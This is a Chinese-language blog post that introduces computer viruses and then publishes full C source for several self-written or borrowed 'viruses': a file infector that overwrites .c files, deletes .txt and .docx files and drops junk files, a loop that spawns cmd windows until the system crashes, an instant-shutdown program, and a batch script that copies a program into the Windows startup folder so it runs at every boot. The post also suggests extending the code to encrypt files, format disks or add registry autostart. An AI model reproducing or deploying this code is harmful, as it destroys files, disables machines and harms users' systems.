網路攻防:關於病毒的一些東西(附帶一些自己寫的病毒程式)

2020-10-10 12:00:02

這篇文章是突發奇想寫的,因為最近突然對病毒產生了一些興趣,因此特別寫了這麼一篇文章來紀念一下.
前面我會首先介紹一下什麼是病毒,後面我會把一些病毒的原始碼發上來.
當然,我也不知道能不能稱其為病毒,因此,大佬就當樂子看看就好.

一.關於病毒的介紹

按照講課的一般慣例,首先需要百度一下關於病毒的基本知識.如圖.

在這裡插入圖片描述
圖中我們可以看出,病毒其實就是在計算機中插入的破壞計算機的惡意程式碼.我們姑且可以這麼認為:只要是能破壞計算機正常執行的程式碼,都可以認為是病毒.因此,即使是用批次處理指令碼寫一個刪除檔案的命令,我們都能認為是病毒,因為它對計算機造成了阻礙.

當然,上面都只是我自己的理解,也許想要稱某個程式為病毒的話,可能還需要符合其他特點.
但是我認為這樣理解是沒有錯的,因為就在寫這篇文章之前,我偶然搜尋到了一個"%0病毒".這個病毒特別的簡單,只有一句話.
但是作用就是一直開啟程式本身,最後使電腦宕機.有興趣的同學可以去csdn上面搜尋一下這個病毒,挺有意思的.

正因為這麼簡單的程式碼都能稱為病毒,因此我認為,我的理解應該是正確的.

二.關於病毒的分類

不敢太猜測大佬的思維,只能說說自己對於一些病毒的自己的理解.

1.按照病毒的破壞性分類

良性病毒:僅僅顯示資訊、奏樂、發出聲響,自我複製的。除了傳染時減少磁碟的可用空間外,對系統沒有其它影響。
惡性病毒:封鎖、干擾、中斷輸入輸出、使使用者無法列印等正常工作,甚至電腦中止執行。這類病毒在計算機系統操作中造成嚴重的錯誤。
極惡性病毒:宕機、系統崩潰、刪除普通程式或系統檔案,破壞系統設定導致系統宕機、崩潰、無法重新啟動。 這些病毒對系統造成的危害,並不是本身的演演算法中存在危險的呼叫,而是當它們傳染時會引起無法預料的和災難性的破壞。
災難性病毒:破壞分割區表資訊、主引導資訊、FAT,刪除資料檔案,甚至格式化硬碟等。

第一個,良性病毒.簡單來說,我們隨手寫一個程式,比如彈出一個helloword,我們也姑且認為是一個病毒,並且可以被叫做是良性病毒.
在後面我寫了一個比較有意思的小程式,就可以稱為良性病毒.

在說說第二個,惡性病毒.這類病毒就比較具有攻擊性了,是可以對系統造成一定的威脅性的.
後面我寫了兩個病毒程式.效果是開啟後讓電腦陷入一直關機的狀態.
另一個是開啟以後,會在後臺一直建立程序,直到宕機.
都是兩個比較簡單的程式,但是效果比較明顯.

最後一個我就不說了,因為這麼nb的病毒我要是能寫出來,我就不坐在這裡打字了.

2.按照傳染方式分類

檔案型病毒:一般只傳染磁碟上的可執行檔案(COM,EXE)。在使用者呼叫染毒的可執行檔案時,病毒首先被執行,然後病毒駐留記憶體伺機傳染其他檔案或直接傳染其他檔案。其特點是附著於正常程式檔案,成為程式檔案的一個外殼或部件。這是較為常見的傳染方式。
混合型病毒:兼有以上兩種病毒的特點,既染引導區又染檔案,因此擴大了這種病毒的傳染途徑。

這幾點沒啥好說的,只要識字的人知道啥意思.

3.比較出名病毒

這個我懶得打字了.直接上截圖
在這裡插入圖片描述

4.需要注意的一些地方

要理解木馬,病毒,漏洞是不同的三種東西.我一開始也並不知道這三種東西有什麼區別,後來百度了才知道.

先說說木馬.木馬和病毒是不同的,不能認為是同一種東西.
木馬主要是駭客用來對你的電腦留後門的,比如遠端在你的電腦後臺建立一個賬戶,這就是一種留後門的方法.

其次是病毒.這個就是對你的電腦造成破壞的程式了.比如之前很出名的勒索病毒,原理就是對檔案進行一個加密.
這也是對檔案的一種感染.只要你懂這個原理,甚至自己寫一個加密檔案的程式,都可以叫做"小菜雞做的勒索病毒".(這種話只能說說看,你別真這麼叫,因為真正的勒索病毒是很複雜的,利用了一個叫做永恆之藍的漏洞)

最後一個就是漏洞,這個就是另外一種東西了.你的windows一直在更新,原因就是在修復很多漏洞.比如c語言程式裡面就有一個漏洞叫做"陣列越界".
這個漏洞產生的原因,就是因為最早發明c語言的時候,為了節省檢查陣列的記憶體,因此對陣列的邊界沒有一個嚴格的限制,才產生了這個漏洞.
還有一個叫做緩衝區溢位的漏洞,這個漏洞被用的比較廣泛,是很多駭客都會用使用的一個漏洞.
(這個漏洞,說實話我感覺和陣列越界的原理差不多.以前在做ctf裡面的pwn題的時候明顯能感覺到.)

三.一些病毒的原始碼

1.教學病毒

這個病毒實現了一些基礎的病毒該有的功能,比如感染檔案,刪除檔案,製造垃圾文等作用,非常適合用來學習病毒.
當然,這個是借鑑了其他csdn大佬的程式,並不是我寫的.

首先先說一下這個病毒的基本作用.
1.感染檔案
病毒會將某個目錄下的檔案進行感染,下面兩張圖是感染前後的對比.
在這裡插入圖片描述
在這裡插入圖片描述
可以看到,檔案內容發生了變化.
2.製造垃圾檔案
程式執行以後,會在某個目錄下生成一些系統的臨時檔案.這個病毒僅僅生成了一個.
在這裡插入圖片描述
在這裡插入圖片描述
這兩種檔案都是病毒程式生成的,只不過原理不同,一會兒我會講怎麼實現.
3.刪除檔案
顧名思義,刪除某個目錄下特定的檔案,比如以.txt結尾的檔案.

執行病毒的程式之前步驟

這個病毒是感染特定目錄下的檔案,因此需要提前建立一個目錄,並且在這個目錄下建立一些檔案.
在這裡插入圖片描述
建立一個資料夾,我的資料夾是virus.然後在這個資料夾下建立兩個檔案,檔名如圖.E_KILL.c是當病毒感染檔案以後的檔案內容.
在E_KILL.c檔案中寫入以下程式碼.

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("It is virus\n");
    system("pause");
    return 0;
}

另一個viruse.c就是我們病毒的原始碼了.這個一會兒再說.
接著就是temp資料夾了,這個資料夾就是要被感染的目標資料夾,按照如圖建立.
在這裡插入圖片描述
s.txt和a.docx是兩個空的檔案,另外兩個檔案寫入以下內容:

#include<stdio.h>
#include<Windows.h>

int main(void)
{
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    printf("TEST\n");
    system("pause");
    return 0;
}

好了,準備工作就做完了,接下來就是講解關於病毒原始碼的講解了.

病毒原始碼

關於原始碼的講解,我直接就以註釋的方式寫在程式碼裡面了.好好看,好好學.

#include<stdio.h>
#include<io.h>
#include<Windows.h>
#include<stdlib.h>
#include<string.h>
#include <direct.h>

#define INFECT_PATH "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp"
#define DELETE_FILE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.txt"
#define DELETE_FILE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.docx"
#define CREAT_EXE1 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\worm.exe"
#define CREAT_EXE2 "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\virus.exe"
#define Targetfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\temp\\*.c"
#define Virusfile "F:\\20年 上\\網路安全\\講課-病毒\\virus\\E_KILL.c"
//使用了很多宏定義.這些都是後面會用得到的,需要改成你自己的檔案路徑,記得用兩個斜槓做分隔符.
void MakeRubbish(void);
void CreatEXE(void);
void Remove(void);
void InfectFile(void);
void copyfile(char* infile,char *outfile);
//函數宣告

void MakeRubbish(void)
{
    int i=0;
    FILE *fp=NULL;
    char* path=NULL;
    char* NewName=NULL;
    char tempname[]="XXXXXX";
//這個是生成臨時檔案的檔名,幾個×就代表幾個隨機字元.
    path=INFECT_PATH;   

    if(!_chdir(path))
    {
        printf("open DIR success\n");
    }
    else
    {
        printf("open DIR failed\n");
        perror("Error: ");
    }
//_chdir函數用於改變當前工作目錄,將當前工作目錄改成了宏定義的目錄
    NewName=_mktemp(tempname);
    fp=fopen(NewName,"w");
    fclose(fp);
//建立臨時檔案
}

void CreatEXE(void)
{
    int i;
    char* s[2]={CREAT_EXE1,CREAT_EXE2};
    for(i=0;i<2;i++)
    {
        open(s[i],0x0100,0x0080);
        //建立垃圾程式,open第二個引數是建立並且開啟檔案,第三個引數是寫入的意思
        copyfile(Virusfile,s[i]);
        //將開始那個E_KILL檔案內容複製到新建立的exe檔案當中.
    }
}

void Remove(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype[2] = {DELETE_FILE1,DELETE_FILE2}; 
    for (i = 0; i < 2; i++)
    {
        done = _findfirst(documenttype[i],&ffblk);
        if(done!=-1)
        {
            printf("delete %s\n",ffblk.name);
            remove(ffblk.name);                             
            while (!_findnext(done,&ffblk))
            {
                printf("delete %s\n",ffblk.name);
                remove(ffblk.name);                         
            }
        }
        _findclose(done);
    }
    //這個原理比較簡單,就是進行了一個查詢,然後刪除.就不贅述了.
}


void copyfile(char* infile,char* outfile)
{
    FILE *in,*out;
    in=fopen(infile,"r");
    out=fopen(outfile,"w");
    while(!feof(in))
    {
        fputc(fgetc(in),out);
    }
    fclose(in);
    fclose(out);
}
//感染檔案子函數
void InfectFile(void)
{
    int done;
    int i;

    struct _finddata_t ffblk;
    char *documenttype = Targetfile;

    done = _findfirst(documenttype,&ffblk);
    copyfile(Virusfile,ffblk.name);
    while (!_findnext(done,&ffblk))
    {
        copyfile(Virusfile,ffblk.name); //感染
    }
    _findclose(done);
}
//對檔案進行感染,原理其實就是將病毒檔案進行復制即可.

/*This is a flag:end*/
int main(void)
{
    MakeRubbish( );
    CreatEXE( );
    Remove( );
    InfectFile( );
    system("pause");
    return 0;
}
//主程式

執行的時候記得用管理員身份開啟.

程式大概就是這樣.其實很多病毒的雛形就是這個.
比如可以對這個原始碼進行修改,將一個死迴圈加到建立垃圾檔案,那麼效果就是一直建立垃圾檔案,直到電腦記憶體被全部佔滿.
在比如,可以將單純的複製檔案改為對檔案進行rsa加密,這樣會比摧毀檔案更讓人頭疼.

執行結果

在這裡插入圖片描述
可以看到,資料夾中被建立了一個叫做a14192的臨時檔案,這個就是我們的功能之一.
接著開啟e.c,可以看到檔案已經變成了如圖所示的內容.
在這裡插入圖片描述
由此可見,我們的檔案已經被成功感染.
當然,這個病毒是非常簡單的一種,你可以對功能進行一些擴充,比如寫入登入檔設定自啟動,比如格式化某個硬碟…等等等等,這個就看你了.

2.一些我自己寫的病毒

姑且先叫做是病毒吧,因為也是對電腦造成了阻礙.我的靶機都是win2003,別的機器可能出不來效果.

1>永恆之綠

這個名字是我突然想起來有個叫"永恆之藍"的漏洞,於是我也給這個病毒起了個這個名字.先看看效果.
在這裡插入圖片描述
這個病毒執行以後,會一直在螢幕上重新整理綠色的0和1.
怎麼樣?是不是看著比較有意思?
這個程式並沒有什麼危害性,調出工作管理員就可以關掉.不過我還在後面寫了一個批次處理指令碼,程式碼如下:

@echo off
copy virus_fake.exe "C:\Documents and Settings\Administrator\「開始」選單\程式\啟動"

這個指令碼執行以後,會將病毒程式載入到啟動項,每次開機都會執行這個程式.
當然,記得要把第二行copy後面的檔名改成你病毒程式的檔名才可以.

接下來就是病毒的原始碼.

#include <stdio.h>
int main(){
    system("color 0a");
    //呼叫一個cmd命令,將文字顏色調成綠色,背景調成黑色
    while(1){
        printf("01011010101001010");
        //使用一個死迴圈,迴圈在螢幕上列印0和1
    }
}

如圖,要將exe和bat放到一個位置.
在這裡插入圖片描述
如果直接執行程式,是隻會在一個視窗執行.
在這裡插入圖片描述
我們還需要右鍵這個程式,然後設定屬性和預設值為全螢幕才可以出現開始那個效果.
在這裡插入圖片描述
這就是第一個病毒程式,永恆之綠.就是一個花裡胡哨的小程式,只能用來嚇唬人,其實並沒有什麼太厲害的地方.
不過第二個就比較厲害了,會無止境的消耗系統資源.

2>不知道該叫啥,就叫宕機病毒吧

執行結果如圖:
在這裡插入圖片描述
此刻我的虛擬機器器已經宕機了,只能重新啟動.
在這裡插入圖片描述
這個病毒的原理就是一直在開啟cmd介面,最後系統資源耗盡,然後宕機.這次我開啟效能監視器,如圖.
在這裡插入圖片描述
短短几秒鐘,程序就達到了500多個.如果在加上上面的那個開機自啟動指令碼,想想看,後果是不是很可怕?
直接上原始碼.

#include <stdio.h>
int main(){
    while(1)
    system("start cmd");
    //我寫了一個死迴圈,然後執行cmd命令.這個命令就是開啟cmd視窗,為什麼要加start呢?這個可以百度一下為什麼.
    return 0;
}

程式碼很簡單,但是效果還是很猛的.這個的原理和%0病毒是相似的.

3>病毒之重新啟動

這個名字是我看了盜墓筆記重新啟動以後想到的,乾脆就拿來用了.
重新啟動是真的重新啟動,執行以後會讓電腦直接關機.如果配合上自啟動指令碼,效果就是開機就關機,開機就關機,開機就…
威力還是比較可觀的.截圖我就不上了,直接放程式碼.

#include <stdio.h>
int main(){
    system("shutdown -s -t 0");
    //呼叫cmd命令,-s是關機的意思,-t 0 是設定0秒以後關機的意思
    return 0;
}

首先,執行病毒1裡面的自啟動指令碼(記得改檔名),然後關機,在開機,病毒就開始執行了.

最後這個病毒是威力最大的一個,因為你連機都開不了,談何刪除病毒?
當然,你可以進入安全模式進行刪除,而那些不懂這些的人可就遭了殃了.
上面三個其實可以直接在病毒程式中新增自啟動命令的,但是我的編譯器一編譯就會自動執行程式,因此我寫成了兩個,不然自己的病毒把自己感染了就出大事了.

4>額外補充的一些事情

上面發的三個病毒其實都是小打小鬧,真正厲害的是一些比如熊貓燒香之類的病毒.
當然,那些大佬對於我來說都是目不可及的.
曾經有幸見過一個大佬寫的"金豬報喜"病毒,原理和熊貓燒香類似,用的是c++寫的.如果說以後有機會的話,我會寫一個這樣的病毒發上來給大家看看.

三.總結

關於病毒的基本原理,大概就是這樣.如果各位還有什麼要補充的話可以放在評論區裡.
上面的三個病毒只能算是特別小的病毒,一些更厲害的病毒可以去看看其他csdn大佬寫的東西,比如隱藏程序之類的功能.就這樣吧,不多說了.有興趣可以加我qq:1392969921